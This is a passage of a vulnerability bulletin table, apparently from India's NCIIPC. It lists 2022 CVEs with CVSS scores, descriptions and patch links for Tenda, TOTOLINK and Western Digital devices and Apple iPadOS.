Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the time parameter in the PowerSaveSet function. **CVE ID : CVE-2022-25445**	N/A	H-TEN-AC6-070422/544
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the schedstarttime parameter in the openSchedWifi function. **CVE ID : CVE-2022-25446**	N/A	H-TEN-AC6-070422/545

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the schedendtime parameter in the openSchedWifi function. **CVE ID : CVE-2022-25447**	N/A	H-TEN-AC6-070422/546
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the day parameter in the openSchedWifi function. **CVE ID : CVE-2022-25448**	N/A	H-TEN-AC6-070422/547
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the deviceId parameter in the saveParentControlInfo function. **CVE ID : CVE-2022-25449**	N/A	H-TEN-AC6-070422/548
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 V15.03.05.09_multi was discovered to contain a stack overflow via the list parameter in the SetVirtualServerCfg function.	N/A	H-TEN-AC6-070422/549

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-25450		
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 V15.03.05.09_multi was discovered to contain a stack overflow via the list parameter in the setstaticroutecfg function. **CVE ID : CVE-2022-25451**	N/A	H-TEN-AC6-070422/550
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the URLs parameter in the saveParentControlInfo function. **CVE ID : CVE-2022-25452**	N/A	H-TEN-AC6-070422/551
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the time parameter in the saveParentControlInfo function. **CVE ID : CVE-2022-25453**	N/A	H-TEN-AC6-070422/552
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the loginpwd parameter in the SetFirewallCfg function.	N/A	H-TEN-AC6-070422/553

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-25454		
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the list parameter in the SetIpMacBind function. **CVE ID : CVE-2022-25455**	N/A	H-TEN-AC6-070422/554
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the security_5g parameter in the WifiBasicSet function. **CVE ID : CVE-2022-25456**	N/A	H-TEN-AC6-070422/555
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the ntpserver parameter in the SetSysTimeCfg function. **CVE ID : CVE-2022-25457**	N/A	H-TEN-AC6-070422/556
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the cmdinput parameter in the exeCommand function.	N/A	H-TEN-AC6-070422/557

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-25458		
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the S1 parameter in the SetSysTimeCfg function. **CVE ID : CVE-2022-25459**	N/A	H-TEN-AC6-070422/558
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the endip parameter in the SetPptpServerCfg function. **CVE ID : CVE-2022-25460**	N/A	H-TEN-AC6-070422/559
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the startip parameter in the SetPptpServerCfg function. **CVE ID : CVE-2022-25461**	N/A	H-TEN-AC6-070422/560
Product: ac9					
Improper Neutralization of Special Elements used in a Command ('Comman	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the schedendtime parameter in the	N/A	H-TEN-AC9-070422/561

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
d Injection')			openSchedWifi function. **CVE ID : CVE-2022-25427**		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the deviceId parameter in the saveparentcontrolinfo function. **CVE ID : CVE-2022-25428**	N/A	H-TEN-AC9-070422/562
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a buffer overflow via the time parameter in the saveparentcontrolinfo function. **CVE ID : CVE-2022-25429**	N/A	H-TEN-AC9-070422/563
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain multiple stack overflows via the NPTR, V12, V10 and V11 parameter in the Formsetqosband function. **CVE ID : CVE-2022-25431**	N/A	H-TEN-AC9-070422/564
Improper Neutralization of Special	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack	N/A	H-TEN-AC9-070422/565

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Elements used in a Command ('Command Injection')			overflow via the urls parameter in the saveparentcontrolinfo function. **CVE ID : CVE-2022-25433**		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the firewallen parameter in the SetFirewallCfg function. **CVE ID : CVE-2022-25434**	N/A	H-TEN-AC9-070422/566
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the list parameter in the SetStaticRoutecfg function. **CVE ID : CVE-2022-25435**	N/A	H-TEN-AC9-070422/567
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the list parameter in the SetVirtualServerCfg function. **CVE ID : CVE-2022-25437**	N/A	H-TEN-AC9-070422/568
Improper Neutralization of Special Elements	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a remote command execution	N/A	H-TEN-AC9-070422/569

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
used in a Command ('Command Injection')			(RCE) vulnerability via the SetIPTVCfg function. **CVE ID : CVE-2022-25438**		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the list parameter in the SetIpMacBind function. **CVE ID : CVE-2022-25439**	N/A	H-TEN-AC9-070422/570
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the ntpserver parameter in the SetSysTimeCfg function. **CVE ID : CVE-2022-25440**	N/A	H-TEN-AC9-070422/571
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a remote command execution (RCE) vulnerability via the vlanid parameter in the SetIPTVCfg function. **CVE ID : CVE-2022-25441**	N/A	H-TEN-AC9-070422/572
Product: m3					
Improper Neutralization of Special	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command	N/A	H-TEN-M3-070422/573

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Elements used in an OS Command ('OS Command Injection')			injection vulnerability via the component /goform/exeCommand. **CVE ID : CVE-2022-26289**		
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/WriteFacMac. **CVE ID : CVE-2022-26290**	N/A	H-TEN-M3-070422/574
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/setFixTools. **CVE ID : CVE-2022-26536**	N/A	H-TEN-M3-070422/575
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/delAd. **CVE ID : CVE-2022-27076**	N/A	H-TEN-M3-070422/576

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /cgi-bin/uploadWeiXinPic. **CVE ID : CVE-2022-27077**	N/A	H-TEN-M3-070422/577
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/setAdInfoDetail. **CVE ID : CVE-2022-27078**	N/A	H-TEN-M3-070422/578
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/setPicListItem. **CVE ID : CVE-2022-27079**	N/A	H-TEN-M3-070422/579
Improper Neutralization of Special Elements used in an OS Command ('OS	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/setWorkmode.	N/A	H-TEN-M3-070422/580

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Command Injection')			**CVE ID : CVE-2022-27080**		
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/SetLanInfo. **CVE ID : CVE-2022-27081**	N/A	H-TEN-M3-070422/581
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/SetInternetLanInfo. **CVE ID : CVE-2022-27082**	N/A	H-TEN-M3-070422/582
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /cgi-bin/uploadAccessCodePic. **CVE ID : CVE-2022-27083**	N/A	H-TEN-M3-070422/583
Vendor: Tendacn					
Product: ac10					
Buffer Copy without Checking	23-Mar-22	7.5	Tenda AC10-1200 v15.03.06.23_EN was discovered to contain a buffer	N/A	H-TEN-AC10-070422/584

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Size of Input ('Classic Buffer Overflow')		🟧	overflow in the setSmartPowerManagement function. **CVE ID : CVE-2022-26243**		
Vendor: totolink					
Product: n600r					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	22-Mar-22	9.8	TOTOLINK N600R V4.3.0cu.7570_B20200620 was discovered to contain a command injection vulnerability via the exportOvpn interface at cstecgi.cgi. **CVE ID : CVE-2022-26186**	N/A	H-TOT-N600-070422/585
Improper Neutralization of Special Elements used in a Command ('Command Injection')	22-Mar-22	9.8	TOTOLINK N600R V4.3.0cu.7570_B20200620 was discovered to contain a command injection vulnerability via the pingCheck function. **CVE ID : CVE-2022-26187**	N/A	H-TOT-N600-070422/586
Improper Neutralization of Special Elements used in a Command ('Command Injection')	22-Mar-22	9.8	TOTOLINK N600R V4.3.0cu.7570_B20200620 was discovered to contain a command injection vulnerability via /setting/NTPSyncWithHost. **CVE ID : CVE-2022-26188**	N/A	H-TOT-N600-070422/587

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Special Elements used in a Command ('Command Injection')	22-Mar-22	9.8	TOTOLINK N600R V4.3.0cu.7570_B20200620 was discovered to contain a command injection vulnerability via the langType parameter in the login interface. **CVE ID : CVE-2022-26189**	N/A	H-TOT-N600-070422/588
Vendor: westerndigital					
Product: my_cloud					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	H-WES-MY_C-070422/589
Product: my_cloud_dl2100					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	H-WES-MY_C-070422/590
Product: my_cloud_dl4100					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	H-WES-MY_C-070422/591
Product: my_cloud_ex2100					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	H-WES-MY_C-070422/592
Product: my_cloud_ex2_ultra					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	H-WES-MY_C-070422/593

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: my_cloud_ex4100					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	H-WES-MY_C-070422/594
Product: my_cloud_home					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	H-WES-MY_C-070422/595
Product: my_cloud_mirror_gen_2					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code.	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	H-WES-MY_C-070422/596

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22995		
Product: my_cloud_pr2100					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	H-WES-MY_C-070422/597
Product: my_cloud_pr4100					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	H-WES-MY_C-070422/598
Product: wd_cloud					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	H-WES-WD_C-070422/599

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**		
Operating System					
Vendor: Apple					
Product: ipados					
Improper Privilege Management	18-Mar-22	7.8	A logic issue was addressed with improved validation. This issue is fixed in tvOS 15.3, iOS 15.3 and iPadOS 15.3, watchOS 8.4, macOS Monterey 12.2. A malicious application may be able to gain root privileges. **CVE ID : CVE-2022-22578**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-IPAD-070422/600
Exposure of Resource to Wrong Sphere	18-Mar-22	7.8	An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 15.3 and iPadOS 15.3, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. Processing a maliciously crafted STL file may lead to unexpected application termination or arbitrary code execution.	https://support.apple.com/en-us/HT213056, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-IPAD-070422/601

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22579		
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.3, iOS 15.3 and iPadOS 15.3, watchOS 8.4, macOS Monterey 12.2. Processing a maliciously crafted file may lead to arbitrary code execution. **CVE ID : CVE-2022-22584**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-IPAD-070422/602
Improper Link Resolution Before File Access ('Link Following')	18-Mar-22	7.5	An issue existed within the path validation logic for symlinks. This issue was addressed with improved path sanitization. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, macOS Monterey 12.2, macOS Big Sur 11.6.3. An application may be able to access a user's files. **CVE ID : CVE-2022-22585**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-IPAD-070422/603
Out-of-bounds Write	18-Mar-22	9.8	A memory corruption issue was addressed with improved input validation. This issue	https://support.apple.com/en-us/HT213054, https://support.apple.com/en-	O-APP-IPAD-070422/604

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			is fixed in iOS 15.3 and iPadOS 15.3, macOS Big Sur 11.6.3, macOS Monterey 12.2. A malicious application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.. **CVE ID : CVE-2022-22587**	us/HT213055, https://support.apple.com/en-us/HT213053	
Uncontrolled Resource Consumption	18-Mar-22	5.5	A resource exhaustion issue was addressed with improved input validation. This issue is fixed in iOS 15.2.1 and iPadOS 15.2.1. Processing a maliciously crafted HomeKit accessory name may cause a denial of service. **CVE ID : CVE-2022-22588**	https://support.apple.com/en-us/HT213043	O-APP-IPAD-070422/605
Improper Input Validation	18-Mar-22	6.1	A validation issue was addressed with improved input sanitization. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing a maliciously crafted mail message may	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support	O-APP-IPAD-070422/606

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			lead to running arbitrary javascript. **CVE ID : CVE-2022-22589**	.apple.com/en-us/HT213053	
Use After Free	18-Mar-22	8.8	A use after free issue was addressed with improved memory management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted web content may lead to arbitrary code execution. **CVE ID : CVE-2022-22590**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-IPAD-070422/607
N/A	18-Mar-22	6.5	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted web content may prevent Content Security Policy from being enforced. **CVE ID : CVE-2022-22592**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-IPAD-070422/608
Buffer Copy without	18-Mar-22	7.8	A buffer overflow issue was addressed with improved	https://support.apple.com/en-us/HT213059,	O-APP-IPAD-070422/609

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Checking Size of Input ('Classic Buffer Overflow')			memory handling. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. A malicious application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22593**	https://support.apple.com/en-us/HT213056, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	
Origin Validation Error	18-Mar-22	6.5	A cross-origin issue in the IndexDB API was addressed with improved input validation. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. A website may be able to track sensitive user information. **CVE ID : CVE-2022-22594**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-IPAD-070422/610
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4. An application may be able to execute arbitrary	https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-IPAD-070422/611

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			code with kernel privileges. **CVE ID : CVE-2022-22596**		
Exposure of Resource to Wrong Sphere	18-Mar-22	3.3	An issue with app access to camera metadata was addressed with improved logic. This issue is fixed in iOS 15.4 and iPadOS 15.4. An app may be able to learn information about the current camera view before being granted camera access. **CVE ID : CVE-2022-22598**	https://support.apple.com/en-us/HT213182	O-APP-IPAD-070422/612
Incorrect Permission Assignment for Critical Resource	18-Mar-22	2.4	Description: A permissions issue was addressed with improved validation. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, macOS Monterey 12.3. A person with physical access to a device may be able to use Siri to obtain some location information from the lock screen. **CVE ID : CVE-2022-22599**	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPAD-070422/613
N/A	18-Mar-22	5.5	The issue was addressed with improved permissions logic.	https://support.apple.com/en-us/HT213186, https://support	O-APP-IPAD-070422/614

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A malicious application may be able to bypass certain Privacy preferences. **CVE ID : CVE-2022-22600**	.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
N/A	18-Mar-22	7.5	The issue was addressed with additional permissions checks. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A malicious application may be able to read other applications' settings. **CVE ID : CVE-2022-22609**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPAD-070422/615
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved input validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to	https://support.apple.com/en-us/HT213188, https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support	O-APP-IPAD-070422/616

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			arbitrary code execution. **CVE ID : CVE-2022-22611**	.apple.com/en-us/HT213183	
Improper Restriction of Operations within the Bounds of a Memory Buffer	18-Mar-22	7.8	A memory consumption issue was addressed with improved memory handling. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to heap corruption. **CVE ID : CVE-2022-22612**	https://support.apple.com/en-us/HT213188, https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPAD-070422/617
Out-of-bounds Write	18-Mar-22	7.8	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22613**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPAD-070422/618
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with	https://support.apple.com/en-	O-APP-IPAD-070422/619

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22614**	us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22615**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPAD-070422/620
Incorrect Authorization	18-Mar-22	7.8	This issue was addressed with improved checks. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4. A user may be able to bypass the	https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-IPAD-070422/621

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Emergency SOS passcode prompt. **CVE ID : CVE-2022-22618**		
Use After Free	18-Mar-22	8.8	A use after free issue was addressed with improved memory management. This issue is fixed in macOS Monterey 12.2.1, iOS 15.3.1 and iPadOS 15.3.1, Safari 15.3 (v. 16612.4.9.1.8 and 15612.4.9.1.8). Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.. **CVE ID : CVE-2022-22620**	https://support.apple.com/en-us/HT213092, https://support.apple.com/en-us/HT213093, https://support.apple.com/en-us/HT213091	O-APP-IPAD-070422/622
Exposure of Sensitive Information to an Unauthorized Actor	18-Mar-22	4.6	This issue was addressed with improved checks. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions.	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPAD-070422/623

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22621		
